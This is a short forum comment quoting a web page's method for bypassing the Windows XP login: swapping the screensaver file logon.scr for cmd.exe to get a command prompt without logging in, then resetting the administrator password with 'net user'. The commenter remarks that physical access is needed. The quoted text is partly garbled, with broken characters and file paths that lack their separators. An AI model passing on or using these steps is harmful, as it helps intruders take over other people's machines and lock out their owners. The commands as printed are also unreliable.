I agree with mrmud, in this example, you need to already have access to the computer to do this!
From the page: "Lets do it fast窶ｦ.
1. Go to Start 窶"> Run 窶"> Type in CMD
2. Enter command: cd windowssystem32
3. mkdir newpass
4. copy logon.scr newpasslogon.scr
5. copy cmd.exe newpasscmd.exe
6. del logon.scr
7. rename cmd.exe logon.scr
So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command
net user password
Example: If the admin username is 窶jaiminworld窶 and you want change the password to 窶yourpassword窶 Then type in the following command
net user jaiminworld yourpassword
This will change the administrator password to yourpassword.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do."